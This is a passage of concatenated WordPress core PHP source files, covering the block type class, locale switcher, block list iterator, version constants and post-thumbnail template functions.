	 * @var string[]|null
	 */
	public $allowed_blocks = null;

	/**
	 * Block type icon.
	 *
	 * @since 5.5.0
	 * @var string|null
	 */
	public $icon = null;

	/**
	 * A detailed block type description.
	 *
	 * @since 5.5.0
	 * @var string
	 */
	public $description = '';

	/**
	 * Additional keywords to produce block type as result
	 * in search interfaces.
	 *
	 * @since 5.5.0
	 * @var string[]
	 */
	public $keywords = array();

	/**
	 * The translation textdomain.
	 *
	 * @since 5.5.0
	 * @var string|null
	 */
	public $textdomain = null;

	/**
	 * Alternative block styles.
	 *
	 * @since 5.5.0
	 * @var array
	 */
	public $styles = array();

	/**
	 * Block variations.
	 *
	 * @since 5.8.0
	 * @since 6.5.0 Only accessible through magic getter. null by default.
	 * @var array[]|null
	 */
	private $variations = null;

	/**
	 * Block variations callback.
	 *
	 * @since 6.5.0
	 * @var callable|null
	 */
	public $variation_callback = null;

	/**
	 * Custom CSS selectors for theme.json style generation.
	 *
	 * @since 6.3.0
	 * @var array
	 */
	public $selectors = array();

	/**
	 * Supported features.
	 *
	 * @since 5.5.0
	 * @var array|null
	 */
	public $supports = null;

	/**
	 * Structured data for the block preview.
	 *
	 * @since 5.5.0
	 * @var array|null
	 */
	public $example = null;

	/**
	 * Block type render callback.
	 *
	 * @since 5.0.0
	 * @var callable
	 */
	public $render_callback = null;

	/**
	 * Block type attributes property schemas.
	 *
	 * @since 5.0.0
	 * @var array|null
	 */
	public $attributes = null;

	/**
	 * Context values inherited by blocks of this type.
	 *
	 * @since 5.5.0
	 * @var string[]
	 */
	private $uses_context = array();

	/**
	 * Context provided by blocks of this type.
	 *
	 * @since 5.5.0
	 * @var string[]|null
	 */
	public $provides_context = null;

	/**
	 * Block hooks for this block type.
	 *
	 * A block hook is specified by a block type and a relative position.
	 * The hooked block will be automatically inserted in the given position
	 * next to the "anchor" block whenever the latter is encountered.
	 *
	 * @since 6.4.0
	 * @var string[]
	 */
	public $block_hooks = array();

	/**
	 * Block type editor only script handles.
	 *
	 * @since 6.1.0
	 * @var string[]
	 */
	public $editor_script_handles = array();

	/**
	 * Block type front end and editor script handles.
	 *
	 * @since 6.1.0
	 * @var string[]
	 */
	public $script_handles = array();

	/**
	 * Block type front end only script handles.
	 *
	 * @since 6.1.0
	 * @var string[]
	 */
	public $view_script_handles = array();

	/**
	 * Block type front end only script module IDs.
	 *
	 * @since 6.5.0
	 * @var string[]
	 */
	public $view_script_module_ids = array();

	/**
	 * Block type editor only style handles.
	 *
	 * @since 6.1.0
	 * @var string[]
	 */
	public $editor_style_handles = array();

	/**
	 * Block type front end and editor style handles.
	 *
	 * @since 6.1.0
	 * @var string[]
	 */
	public $style_handles = array();

	/**
	 * Block type front end only style handles.
	 *
	 * @since 6.5.0
	 * @var string[]
	 */
	public $view_style_handles = array();

	/**
	 * Deprecated block type properties for script and style handles.
	 *
	 * @since 6.1.0
	 * @var string[]
	 */
	private $deprecated_properties = array(
		'editor_script',
		'script',
		'view_script',
		'editor_style',
		'style',
	);

	/**
	 * Attributes supported by every block.
	 *
	 * @since 6.0.0 Added `lock`.
	 * @since 6.5.0 Added `metadata`.
	 * @var array
	 */
	const GLOBAL_ATTRIBUTES = array(
		'lock'     => array( 'type' => 'object' ),
		'metadata' => array( 'type' => 'object' ),
	);

	/**
	 * Constructor.
	 *
	 * Will populate object properties from the provided arguments.
	 *
	 * @since 5.0.0
	 * @since 5.5.0 Added the `title`, `category`, `parent`, `icon`, `description`,
	 *              `keywords`, `textdomain`, `styles`, `supports`, `example`,
	 *              `uses_context`, and `provides_context` properties.
	 * @since 5.6.0 Added the `api_version` property.
	 * @since 5.8.0 Added the `variations` property.
	 * @since 5.9.0 Added the `view_script` property.
	 * @since 6.0.0 Added the `ancestor` property.
	 * @since 6.1.0 Added the `editor_script_handles`, `script_handles`, `view_script_handles,
	 *              `editor_style_handles`, and `style_handles` properties.
	 *              Deprecated the `editor_script`, `script`, `view_script`, `editor_style`, and `style` properties.
	 * @since 6.3.0 Added the `selectors` property.
	 * @since 6.4.0 Added the `block_hooks` property.
	 * @since 6.5.0 Added the `view_style_handles` property.
	 *
	 * @see register_block_type()
	 *
	 * @param string       $block_type Block type name including namespace.
	 * @param array|string $args       {
	 *     Optional. Array or string of arguments for registering a block type. Any arguments may be defined,
	 *     however the ones described below are supported by default. Default empty array.
	 *
	 *     @type string        $api_version              Block API version.
	 *     @type string        $title                    Human-readable block type label.
	 *     @type string|null   $category                 Block type category classification, used in
	 *                                                   search interfaces to arrange block types by category.
	 *     @type string[]|null $parent                   Setting parent lets a block require that it is only
	 *                                                   available when nested within the specified blocks.
	 *     @type string[]|null $ancestor                 Setting ancestor makes a block available only inside the specified
	 *                                                   block types at any position of the ancestor's block subtree.
	 *     @type string[]|null $allowed_blocks           Limits which block types can be inserted as children of this block type.
	 *     @type string|null   $icon                     Block type icon.
	 *     @type string        $description              A detailed block type description.
	 *     @type string[]      $keywords                 Additional keywords to produce block type as
	 *                                                   result in search interfaces.
	 *     @type string|null   $textdomain               The translation textdomain.
	 *     @type array[]       $styles                   Alternative block styles.
	 *     @type array[]       $variations               Block variations.
	 *     @type array         $selectors                Custom CSS selectors for theme.json style generation.
	 *     @type array|null    $supports                 Supported features.
	 *     @type array|null    $example                  Structured data for the block preview.
	 *     @type callable|null $render_callback          Block type render callback.
	 *     @type callable|null $variation_callback       Block type variations callback.
	 *     @type array|null    $attributes               Block type attributes property schemas.
	 *     @type string[]      $uses_context             Context values inherited by blocks of this type.
	 *     @type string[]|null $provides_context         Context provided by blocks of this type.
	 *     @type string[]      $block_hooks              Block hooks.
	 *     @type string[]      $editor_script_handles    Block type editor only script handles.
	 *     @type string[]      $script_handles           Block type front end and editor script handles.
	 *     @type string[]      $view_script_handles      Block type front end only script handles.
	 *     @type string[]      $editor_style_handles     Block type editor only style handles.
	 *     @type string[]      $style_handles            Block type front end and editor style handles.
	 *     @type string[]      $view_style_handles       Block type front end only style handles.
	 * }
	 */
	public function __construct( $block_type, $args = array() ) {
		$this->name = $block_type;

		$this->set_props( $args );
	}

	/**
	 * Proxies getting values for deprecated properties for script and style handles for backward compatibility.
	 * Gets the value for the corresponding new property if the first item in the array provided.
	 *
	 * @since 6.1.0
	 *
	 * @param string $name Deprecated property name.
	 *
	 * @return string|string[]|null|void The value read from the new property if the first item in the array provided,
	 *                                   null when value not found, or void when unknown property name provided.
	 */
	public function __get( $name ) {
		if ( 'variations' === $name ) {
			return $this->get_variations();
		}

		if ( 'uses_context' === $name ) {
			return $this->get_uses_context();
		}

		if ( ! in_array( $name, $this->deprecated_properties, true ) ) {
			return;
		}

		$new_name = $name . '_handles';

		if ( ! property_exists( $this, $new_name ) || ! is_array( $this->{$new_name} ) ) {
			return null;
		}

		if ( count( $this->{$new_name} ) > 1 ) {
			return $this->{$new_name};
		}
		return isset( $this->{$new_name}[0] ) ? $this->{$new_name}[0] : null;
	}

	/**
	 * Proxies checking for deprecated properties for script and style handles for backward compatibility.
	 * Checks whether the corresponding new property has the first item in the array provided.
	 *
	 * @since 6.1.0
	 *
	 * @param string $name Deprecated property name.
	 *
	 * @return bool Returns true when for the new property the first item in the array exists,
	 *              or false otherwise.
	 */
	public function __isset( $name ) {
		if ( in_array( $name, array( 'variations', 'uses_context' ), true ) ) {
			return true;
		}

		if ( ! in_array( $name, $this->deprecated_properties, true ) ) {
			return false;
		}

		$new_name = $name . '_handles';
		return isset( $this->{$new_name}[0] );
	}

	/**
	 * Proxies setting values for deprecated properties for script and style handles for backward compatibility.
	 * Sets the value for the corresponding new property as the first item in the array.
	 * It also allows setting custom properties for backward compatibility.
	 *
	 * @since 6.1.0
	 *
	 * @param string $name  Property name.
	 * @param mixed  $value Property value.
	 */
	public function __set( $name, $value ) {
		if ( ! in_array( $name, $this->deprecated_properties, true ) ) {
			$this->{$name} = $value;
			return;
		}

		$new_name = $name . '_handles';

		if ( is_array( $value ) ) {
			$filtered = array_filter( $value, 'is_string' );

			if ( count( $filtered ) !== count( $value ) ) {
					_doing_it_wrong(
						__METHOD__,
						sprintf(
							/* translators: %s: The '$value' argument. */
							__( 'The %s argument must be a string or a string array.' ),
							'<code>$value</code>'
						),
						'6.1.0'
					);
			}

			$this->{$new_name} = array_values( $filtered );
			return;
		}

		if ( ! is_string( $value ) ) {
			return;
		}

		$this->{$new_name} = array( $value );
	}

	/**
	 * Renders the block type output for given attributes.
	 *
	 * @since 5.0.0
	 *
	 * @param array  $attributes Optional. Block attributes. Default empty array.
	 * @param string $content    Optional. Block content. Default empty string.
	 * @return string Rendered block type output.
	 */
	public function render( $attributes = array(), $content = '' ) {
		if ( ! $this->is_dynamic() ) {
			return '';
		}

		$attributes = $this->prepare_attributes_for_render( $attributes );

		return (string) call_user_func( $this->render_callback, $attributes, $content );
	}

	/**
	 * Returns true if the block type is dynamic, or false otherwise. A dynamic
	 * block is one which defers its rendering to occur on-demand at runtime.
	 *
	 * @since 5.0.0
	 *
	 * @return bool Whether block type is dynamic.
	 */
	public function is_dynamic() {
		return is_callable( $this->render_callback );
	}

	/**
	 * Validates attributes against the current block schema, populating
	 * defaulted and missing values.
	 *
	 * @since 5.0.0
	 *
	 * @param array $attributes Original block attributes.
	 * @return array Prepared block attributes.
	 */
	public function prepare_attributes_for_render( $attributes ) {
		// If there are no attribute definitions for the block type, skip
		// processing and return verbatim.
		if ( ! isset( $this->attributes ) ) {
			return $attributes;
		}

		foreach ( $attributes as $attribute_name => $value ) {
			// If the attribute is not defined by the block type, it cannot be
			// validated.
			if ( ! isset( $this->attributes[ $attribute_name ] ) ) {
				continue;
			}

			$schema = $this->attributes[ $attribute_name ];

			// Validate value by JSON schema. An invalid value should revert to
			// its default, if one exists. This occurs by virtue of the missing
			// attributes loop immediately following. If there is not a default
			// assigned, the attribute value should remain unset.
			$is_valid = rest_validate_value_from_schema( $value, $schema, $attribute_name );
			if ( is_wp_error( $is_valid ) ) {
				unset( $attributes[ $attribute_name ] );
			}
		}

		// Populate values of any missing attributes for which the block type
		// defines a default.
		$missing_schema_attributes = array_diff_key( $this->attributes, $attributes );
		foreach ( $missing_schema_attributes as $attribute_name => $schema ) {
			if ( isset( $schema['default'] ) ) {
				$attributes[ $attribute_name ] = $schema['default'];
			}
		}

		return $attributes;
	}

	/**
	 * Sets block type properties.
	 *
	 * @since 5.0.0
	 *
	 * @param array|string $args Array or string of arguments for registering a block type.
	 *                           See WP_Block_Type::__construct() for information on accepted arguments.
	 */
	public function set_props( $args ) {
		$args = wp_parse_args(
			$args,
			array(
				'render_callback' => null,
			)
		);

		$args['name'] = $this->name;

		// Setup attributes if needed.
		if ( ! isset( $args['attributes'] ) || ! is_array( $args['attributes'] ) ) {
			$args['attributes'] = array();
		}

		// Register core attributes.
		foreach ( static::GLOBAL_ATTRIBUTES as $attr_key => $attr_schema ) {
			if ( ! array_key_exists( $attr_key, $args['attributes'] ) ) {
				$args['attributes'][ $attr_key ] = $attr_schema;
			}
		}

		/**
		 * Filters the arguments for registering a block type.
		 *
		 * @since 5.5.0
		 *
		 * @param array  $args       Array of arguments for registering a block type.
		 * @param string $block_type Block type name including namespace.
		 */
		$args = apply_filters( 'register_block_type_args', $args, $this->name );

		foreach ( $args as $property_name => $property_value ) {
			$this->$property_name = $property_value;
		}
	}

	/**
	 * Get all available block attributes including possible layout attribute from Columns block.
	 *
	 * @since 5.0.0
	 *
	 * @return array Array of attributes.
	 */
	public function get_attributes() {
		return is_array( $this->attributes ) ?
			$this->attributes :
			array();
	}

	/**
	 * Get block variations.
	 *
	 * @since 6.5.0
	 *
	 * @return array[]
	 */
	public function get_variations() {
		if ( ! isset( $this->variations ) ) {
			$this->variations = array();
			if ( is_callable( $this->variation_callback ) ) {
				$this->variations = call_user_func( $this->variation_callback );
			}
		}

		/**
		 * Filters the registered variations for a block type.
		 *
		 * @since 6.5.0
		 *
		 * @param array         $variations Array of registered variations for a block type.
		 * @param WP_Block_Type $block_type The full block type object.
		 */
		return apply_filters( 'get_block_type_variations', $this->variations, $this );
	}

	/**
	 * Get block uses context.
	 *
	 * @since 6.5.0
	 *
	 * @return array[]
	 */
	public function get_uses_context() {
		/**
		 * Filters the registered uses context for a block type.
		 *
		 * @since 6.5.0
		 *
		 * @param array         $uses_context Array of registered uses context for a block type.
		 * @param WP_Block_Type $block_type   The full block type object.
		 */
		return apply_filters( 'get_block_type_uses_context', $this->uses_context, $this );
	}
}
<?php
/**
 * Dependencies API: WP_Dependencies base class
 *
 * This file is deprecated, use 'wp-includes/class-wp-dependencies.php' instead.
 *
 * @deprecated 6.1.0
 * @package WordPress
 */

_deprecated_file( basename( __FILE__ ), '6.1.0', WPINC . '/class-wp-dependencies.php' );

/** WP_Dependencies class */
require_once ABSPATH . WPINC . '/class-wp-dependencies.php';
<?php
/**
 * WordPress Version
 *
 * Contains version information for the current WordPress release.
 *
 * @package WordPress
 * @since 1.2.0
 */

/**
 * The WordPress version string.
 *
 * Holds the current version number for WordPress core. Used to bust caches
 * and to enable development mode for scripts when running from the /src directory.
 *
 * @global string $wp_version
 */
$wp_version = '6.5.5';

/**
 * Holds the WordPress DB revision, increments when changes are made to the WordPress DB schema.
 *
 * @global int $wp_db_version
 */
$wp_db_version = 57155;

/**
 * Holds the TinyMCE version.
 *
 * @global string $tinymce_version
 */
$tinymce_version = '49110-20201110';

/**
 * Holds the required PHP version.
 *
 * @global string $required_php_version
 */
$required_php_version = '7.0.0';

/**
 * Holds the required MySQL version.
 *
 * @global string $required_mysql_version
 */
$required_mysql_version = '5.5.5';
<?php
/**
 * Locale API: WP_Locale_Switcher class
 *
 * @package WordPress
 * @subpackage i18n
 * @since 4.7.0
 */

/**
 * Core class used for switching locales.
 *
 * @since 4.7.0
 */
#[AllowDynamicProperties]
class WP_Locale_Switcher {
	/**
	 * Locale switching stack.
	 *
	 * @since 6.2.0
	 * @var array
	 */
	private $stack = array();

	/**
	 * Original locale.
	 *
	 * @since 4.7.0
	 * @var string
	 */
	private $original_locale;

	/**
	 * Holds all available languages.
	 *
	 * @since 4.7.0
	 * @var string[] An array of language codes (file names without the .mo extension).
	 */
	private $available_languages;

	/**
	 * Constructor.
	 *
	 * Stores the original locale as well as a list of all available languages.
	 *
	 * @since 4.7.0
	 */
	public function __construct() {
		$this->original_locale     = determine_locale();
		$this->available_languages = array_merge( array( 'en_US' ), get_available_languages() );
	}

	/**
	 * Initializes the locale switcher.
	 *
	 * Hooks into the {@see 'locale'} and {@see 'determine_locale'} filters
	 * to change the locale on the fly.
	 *
	 * @since 4.7.0
	 */
	public function init() {
		add_filter( 'locale', array( $this, 'filter_locale' ) );
		add_filter( 'determine_locale', array( $this, 'filter_locale' ) );
	}

	/**
	 * Switches the translations according to the given locale.
	 *
	 * @since 4.7.0
	 *
	 * @param string    $locale  The locale to switch to.
	 * @param int|false $user_id Optional. User ID as context. Default false.
	 * @return bool True on success, false on failure.
	 */
	public function switch_to_locale( $locale, $user_id = false ) {
		$current_locale = determine_locale();
		if ( $current_locale === $locale ) {
			return false;
		}

		if ( ! in_array( $locale, $this->available_languages, true ) ) {
			return false;
		}

		$this->stack[] = array( $locale, $user_id );

		$this->change_locale( $locale );

		/**
		 * Fires when the locale is switched.
		 *
		 * @since 4.7.0
		 * @since 6.2.0 The `$user_id` parameter was added.
		 *
		 * @param string    $locale  The new locale.
		 * @param false|int $user_id User ID for context if available.
		 */
		do_action( 'switch_locale', $locale, $user_id );

		return true;
	}

	/**
	 * Switches the translations according to the given user's locale.
	 *
	 * @since 6.2.0
	 *
	 * @param int $user_id User ID.
	 * @return bool True on success, false on failure.
	 */
	public function switch_to_user_locale( $user_id ) {
		$locale = get_user_locale( $user_id );
		return $this->switch_to_locale( $locale, $user_id );
	}

	/**
	 * Restores the translations according to the previous locale.
	 *
	 * @since 4.7.0
	 *
	 * @return string|false Locale on success, false on failure.
	 */
	public function restore_previous_locale() {
		$previous_locale = array_pop( $this->stack );

		if ( null === $previous_locale ) {
			// The stack is empty, bail.
			return false;
		}

		$entry  = end( $this->stack );
		$locale = is_array( $entry ) ? $entry[0] : false;

		if ( ! $locale ) {
			// There's nothing left in the stack: go back to the original locale.
			$locale = $this->original_locale;
		}

		$this->change_locale( $locale );

		/**
		 * Fires when the locale is restored to the previous one.
		 *
		 * @since 4.7.0
		 *
		 * @param string $locale          The new locale.
		 * @param string $previous_locale The previous locale.
		 */
		do_action( 'restore_previous_locale', $locale, $previous_locale[0] );

		return $locale;
	}

	/**
	 * Restores the translations according to the original locale.
	 *
	 * @since 4.7.0
	 *
	 * @return string|false Locale on success, false on failure.
	 */
	public function restore_current_locale() {
		if ( empty( $this->stack ) ) {
			return false;
		}

		$this->stack = array( array( $this->original_locale, false ) );

		return $this->restore_previous_locale();
	}

	/**
	 * Whether switch_to_locale() is in effect.
	 *
	 * @since 4.7.0
	 *
	 * @return bool True if the locale has been switched, false otherwise.
	 */
	public function is_switched() {
		return ! empty( $this->stack );
	}

	/**
	 * Returns the locale currently switched to.
	 *
	 * @since 6.2.0
	 *
	 * @return string|false Locale if the locale has been switched, false otherwise.
	 */
	public function get_switched_locale() {
		$entry = end( $this->stack );

		if ( $entry ) {
			return $entry[0];
		}

		return false;
	}

	/**
	 * Returns the user ID related to the currently switched locale.
	 *
	 * @since 6.2.0
	 *
	 * @return int|false User ID if set and if the locale has been switched, false otherwise.
	 */
	public function get_switched_user_id() {
		$entry = end( $this->stack );

		if ( $entry ) {
			return $entry[1];
		}

		return false;
	}

	/**
	 * Filters the locale of the WordPress installation.
	 *
	 * @since 4.7.0
	 *
	 * @param string $locale The locale of the WordPress installation.
	 * @return string The locale currently being switched to.
	 */
	public function filter_locale( $locale ) {
		$switched_locale = $this->get_switched_locale();

		if ( $switched_locale ) {
			return $switched_locale;
		}

		return $locale;
	}

	/**
	 * Load translations for a given locale.
	 *
	 * When switching to a locale, translations for this locale must be loaded from scratch.
	 *
	 * @since 4.7.0
	 *
	 * @global Mo[] $l10n An array of all currently loaded text domains.
	 *
	 * @param string $locale The locale to load translations for.
	 */
	private function load_translations( $locale ) {
		global $l10n;

		$domains = $l10n ? array_keys( $l10n ) : array();

		load_default_textdomain( $locale );

		foreach ( $domains as $domain ) {
			// The default text domain is handled by `load_default_textdomain()`.
			if ( 'default' === $domain ) {
				continue;
			}

			/*
			 * Unload current text domain but allow them to be reloaded
			 * after switching back or to another locale.
			 */
			unload_textdomain( $domain, true );
			get_translations_for_domain( $domain );
		}
	}

	/**
	 * Changes the site's locale to the given one.
	 *
	 * Loads the translations, changes the global `$wp_locale` object and updates
	 * all post type labels.
	 *
	 * @since 4.7.0
	 *
	 * @global WP_Locale $wp_locale WordPress date and time locale object.
	 *
	 * @param string $locale The locale to change to.
	 */
	private function change_locale( $locale ) {
		global $wp_locale;

		$this->load_translations( $locale );

		$wp_locale = new WP_Locale();

		WP_Translation_Controller::get_instance()->set_locale( $locale );

		/**
		 * Fires when the locale is switched to or restored.
		 *
		 * @since 4.7.0
		 *
		 * @param string $locale The new locale.
		 */
		do_action( 'change_locale', $locale );
	}
}
<?php
/**
 * Diff API: WP_Text_Diff_Renderer_inline class
 *
 * @package WordPress
 * @subpackage Diff
 * @since 4.7.0
 */

/**
 * Better word splitting than the PEAR package provides.
 *
 * @since 2.6.0
 * @uses Text_Diff_Renderer_inline Extends
 */
#[AllowDynamicProperties]
class WP_Text_Diff_Renderer_inline extends Text_Diff_Renderer_inline {

	/**
	 * @ignore
	 * @since 2.6.0
	 *
	 * @param string $string
	 * @param string $newlineEscape
	 * @return string
	 */
	public function _splitOnWords( $string, $newlineEscape = "\n" ) { // phpcs:ignore Universal.NamingConventions.NoReservedKeywordParameterNames.stringFound,WordPress.NamingConventions.ValidVariableName.VariableNotSnakeCase
		$string = str_replace( "\0", '', $string );
		$words  = preg_split( '/([^\w])/u', $string, -1, PREG_SPLIT_DELIM_CAPTURE );
		$words  = str_replace( "\n", $newlineEscape, $words ); // phpcs:ignore WordPress.NamingConventions.ValidVariableName.VariableNotSnakeCase
		return $words;
	}
}
<?php
/**
 * Blocks API: WP_Block_List class
 *
 * @package WordPress
 * @since 5.5.0
 */

/**
 * Class representing a list of block instances.
 *
 * @since 5.5.0
 */
#[AllowDynamicProperties]
class WP_Block_List implements Iterator, ArrayAccess, Countable {

	/**
	 * Original array of parsed block data, or block instances.
	 *
	 * @since 5.5.0
	 * @var array[]|WP_Block[]
	 * @access protected
	 */
	protected $blocks;

	/**
	 * All available context of the current hierarchy.
	 *
	 * @since 5.5.0
	 * @var array
	 * @access protected
	 */
	protected $available_context;

	/**
	 * Block type registry to use in constructing block instances.
	 *
	 * @since 5.5.0
	 * @var WP_Block_Type_Registry
	 * @access protected
	 */
	protected $registry;

	/**
	 * Constructor.
	 *
	 * Populates object properties from the provided block instance argument.
	 *
	 * @since 5.5.0
	 *
	 * @param array[]|WP_Block[]     $blocks            Array of parsed block data, or block instances.
	 * @param array                  $available_context Optional array of ancestry context values.
	 * @param WP_Block_Type_Registry $registry          Optional block type registry.
	 */
	public function __construct( $blocks, $available_context = array(), $registry = null ) {
		if ( ! $registry instanceof WP_Block_Type_Registry ) {
			$registry = WP_Block_Type_Registry::get_instance();
		}

		$this->blocks            = $blocks;
		$this->available_context = $available_context;
		$this->registry          = $registry;
	}

	/**
	 * Returns true if a block exists by the specified block offset, or false
	 * otherwise.
	 *
	 * @since 5.5.0
	 *
	 * @link https://www.php.net/manual/en/arrayaccess.offsetexists.php
	 *
	 * @param string $offset Offset of block to check for.
	 * @return bool Whether block exists.
	 */
	#[ReturnTypeWillChange]
	public function offsetExists( $offset ) {
		return isset( $this->blocks[ $offset ] );
	}

	/**
	 * Returns the value by the specified block offset.
	 *
	 * @since 5.5.0
	 *
	 * @link https://www.php.net/manual/en/arrayaccess.offsetget.php
	 *
	 * @param string $offset Offset of block value to retrieve.
	 * @return mixed|null Block value if exists, or null.
	 */
	#[ReturnTypeWillChange]
	public function offsetGet( $offset ) {
		$block = $this->blocks[ $offset ];

		if ( isset( $block ) && is_array( $block ) ) {
			$block = new WP_Block( $block, $this->available_context, $this->registry );

			$this->blocks[ $offset ] = $block;
		}

		return $block;
	}

	/**
	 * Assign a block value by the specified block offset.
	 *
	 * @since 5.5.0
	 *
	 * @link https://www.php.net/manual/en/arrayaccess.offsetset.php
	 *
	 * @param string $offset Offset of block value to set.
	 * @param mixed  $value Block value.
	 */
	#[ReturnTypeWillChange]
	public function offsetSet( $offset, $value ) {
		if ( is_null( $offset ) ) {
			$this->blocks[] = $value;
		} else {
			$this->blocks[ $offset ] = $value;
		}
	}

	/**
	 * Unset a block.
	 *
	 * @since 5.5.0
	 *
	 * @link https://www.php.net/manual/en/arrayaccess.offsetunset.php
	 *
	 * @param string $offset Offset of block value to unset.
	 */
	#[ReturnTypeWillChange]
	public function offsetUnset( $offset ) {
		unset( $this->blocks[ $offset ] );
	}

	/**
	 * Rewinds back to the first element of the Iterator.
	 *
	 * @since 5.5.0
	 *
	 * @link https://www.php.net/manual/en/iterator.rewind.php
	 */
	#[ReturnTypeWillChange]
	public function rewind() {
		reset( $this->blocks );
	}

	/**
	 * Returns the current element of the block list.
	 *
	 * @since 5.5.0
	 *
	 * @link https://www.php.net/manual/en/iterator.current.php
	 *
	 * @return mixed Current element.
	 */
	#[ReturnTypeWillChange]
	public function current() {
		return $this->offsetGet( $this->key() );
	}

	/**
	 * Returns the key of the current element of the block list.
	 *
	 * @since 5.5.0
	 *
	 * @link https://www.php.net/manual/en/iterator.key.php
	 *
	 * @return mixed Key of the current element.
	 */
	#[ReturnTypeWillChange]
	public function key() {
		return key( $this->blocks );
	}

	/**
	 * Moves the current position of the block list to the next element.
	 *
	 * @since 5.5.0
	 *
	 * @link https://www.php.net/manual/en/iterator.next.php
	 */
	#[ReturnTypeWillChange]
	public function next() {
		next( $this->blocks );
	}

	/**
	 * Checks if current position is valid.
	 *
	 * @since 5.5.0
	 *
	 * @link https://www.php.net/manual/en/iterator.valid.php
	 */
	#[ReturnTypeWillChange]
	public function valid() {
		return null !== key( $this->blocks );
	}

	/**
	 * Returns the count of blocks in the list.
	 *
	 * @since 5.5.0
	 *
	 * @link https://www.php.net/manual/en/countable.count.php
	 *
	 * @return int Block count.
	 */
	#[ReturnTypeWillChange]
	public function count() {
		return count( $this->blocks );
	}
}
<?php
/**
 * WordPress Post Thumbnail Template Functions.
 *
 * Support for post thumbnails.
 * Theme's functions.php must call add_theme_support( 'post-thumbnails' ) to use these.
 *
 * @package WordPress
 * @subpackage Template
 */

/**
 * Determines whether a post has an image attached.
 *
 * For more information on this and similar theme functions, check out
 * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
 * Conditional Tags} article in the Theme Developer Handbook.
 *
 * @since 2.9.0
 * @since 4.4.0 `$post` can be a post ID or WP_Post object.
 *
 * @param int|WP_Post $post Optional. Post ID or WP_Post object. Default is global `$post`.
 * @return bool Whether the post has an image attached.
 */
function has_post_thumbnail( $post = null ) {
	$thumbnail_id  = get_post_thumbnail_id( $post );
	$has_thumbnail = (bool) $thumbnail_id;

	/**
	 * Filters whether a post has a post thumbnail.
	 *
	 * @since 5.1.0
	 *
	 * @param bool             $has_thumbnail true if the post has a post thumbnail, otherwise false.
	 * @param int|WP_Post|null $post          Post ID or WP_Post object. Default is global `$post`.
	 * @param int|false        $thumbnail_id  Post thumbnail ID or false if the post does not exist.
	 */
	return (bool) apply_filters( 'has_post_thumbnail', $has_thumbnail, $post, $thumbnail_id );
}

/**
 * Retrieves the post thumbnail ID.
 *
 * @since 2.9.0
 * @since 4.4.0 `$post` can be a post ID or WP_Post object.
 * @since 5.5.0 The return value for a non-existing post
 *              was changed to false instead of an empty string.
 *
 * @param int|WP_Post $post Optional. Post ID or WP_Post object. Default is global `$post`.
 * @return int|false Post thumbnail ID (which can be 0 if the thumbnail is not set),
 *                   or false if the post does not exist.
 */
function get_post_thumbnail_id( $post = null ) {
	$post = get_post( $post );

	if ( ! $post ) {
		return false;
	}

	$thumbnail_id = (int) get_post_meta( $post->ID, '_thumbnail_id', true );

	/**
	 * Filters the post thumbnail ID.
	 *
	 * @since 5.9.0
	 *
	 * @param int|false        $thumbnail_id Post thumbnail ID or false if the post does not exist.
	 * @param int|WP_Post|null $post         Post ID or WP_Post object. Default is global `$post`.
	 */
	return (int) apply_filters( 'post_thumbnail_id', $thumbnail_id, $post );
}

/**
 * Displays the post thumbnail.
 *
 * When a theme adds 'post-thumbnail' support, a special 'post-thumbnail' image size
 * is registered, which differs from the 'thumbnail' image size managed via the
 * Settings > Media screen.
 *
 * When using the_post_thumbnail() or related functions, the 'post-thumbnail' image
 * size is used by default, though a different size can be specified instead as needed.
 *
 * @since 2.9.0
 *
 * @see get_the_post_thumbnail()
 *
 * @param string|int[] $size Optional. Image size. Accepts any registered image size name, or an array of
 *                           width and height values in pixels (in that order). Default 'post-thumbnail'.
 * @param string|array $attr Optional. Query string or array of attributes. Default empty.
 */
function the_post_thumbnail( $size = 'post-thumbnail', $attr = '' ) {
	echo get_the_post_thumbnail( null, $size, $attr );
}

/**
 * Updates cache for thumbnails in the current loop.
 *
 * @since 3.2.0
 *
 * @global WP_Query $wp_query WordPress Query object.
 *
 * @param WP_Query $wp_query Optional. A WP_Query instance. Defaults to the $wp_query global.
 */
function update_post_thumbnail_cache( $wp_query = null ) {
	if ( ! $wp_query ) {
		$wp_query = $GLOBALS['wp_query'];
	}

	if ( $wp_query->thumbnails_cached ) {
		return;
	}

	$thumb_ids = array();

	foreach ( $wp_query->posts as $post ) {
		$id = get_post_thumbnail_id( $post->ID );
		if ( $id ) {
			$thumb_ids[] = $id;
		}
	}

	if ( ! empty( $thumb_ids ) ) {
		_prime_post_caches( $thumb_ids, false, true );
	}

	$wp_query->thumbnails_cached = true;
}

/**
 * Retrieves the post thumbnail.
 *
 * When a theme adds 'post-thumbnail' support, a special 'post-thumbnail' image size
 * is registered, which differs from the 'thumbnail' image size managed via the
 * Settings > Media screen.
 *
 * When using the_post_thumbnail() or related functions, the 'post-thumbnail' image
 * size is used by default, though a different size can be specified instead as needed.
 *
 * @since 2.9.0
 * @since 4.4.0 `$post` can be a post ID or WP_Post object.
 *
 * @param int|WP_Post  $post Optional. Post ID or WP_Post object.  Default is global `$post`.
 * @param string|int[] $size Optional. Image size. Accepts any registered image size name, or an array of
 *                           width and height values in pixels (in that order). Default 'post-thumbnail'.
 * @param string|array $attr Optional. Query string or array of attributes. Default empty.
 * @return string The post thumbnail image tag.
 */
function get_the_post_thumbnail( $post = null, $size = 'post-thumbnail', $attr = '' ) {
	$post = get_post( $post );

	if ( ! $post ) {
		return '';
	}

	$post_thumbnail_id = get_post_thumbnail_id( $post );

	/**
	 * Filters the post thumbnail size.
	 *
	 * @since 2.9.0
	 * @since 4.9.0 Added the `$post_id` parameter.
	 *
	 * @param string|int[] $size    Requested image size. Can be any registered image size name, or
	 *                              an array of width and height values in pixels (in that order).
	 * @param int          $post_id The post ID.
	 */
	$size = apply_filters( 'post_thumbnail_size', $size, $post->ID );

	if ( $post_thumbnail_id ) {

		/**
		 * Fires before fetching the post thumbnail HTML.
		 *
		 * Provides "just in time" filtering of all filters in wp_get_attachment_image().
		 *
		 * @since 2.9.0
		 *
		 * @param int          $post_id           The post ID.
		 * @param int          $post_thumbnail_id The post thumbnail ID.
		 * @param string|int[] $size              Requested image size. Can be any registered image size name, or
		 *                                        an array of width and height values in pixels (in that order).
		 */
		do_action( 'begin_fetch_post_thumbnail_html', $post->ID, $post_thumbnail_id, $size );

		if ( in_the_loop() ) {
			update_post_thumbnail_cache();
		}

		$html = wp_get_attachment_image( $post_thumbnail_id, $size, false, $attr );

		/**
		 * Fires after fetching the post thumbnail HTML.
		 *
		 * @since 2.9.0
		 *
